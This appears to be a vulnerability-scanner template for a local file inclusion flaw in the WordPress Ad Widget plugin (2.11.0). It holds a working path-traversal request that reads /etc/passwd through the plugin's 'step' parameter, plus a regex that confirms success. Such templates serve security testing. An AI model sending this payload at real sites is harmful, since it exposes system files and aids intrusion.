id: ad-widget-lfi info: name: WordPress Plugin WordPress Ad Widget Local File Inclusion (2.11.0) author: 0x_Akoko severity: high description: Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. reference: - https://cxsecurity.com/issue/WLB-2017100084 - https://plugins.trac.wordpress.org/changeset/1628751/ad-widget tags: wordpress,wp-plugin,lfi requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/ad-widget/views/modal/?step=../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200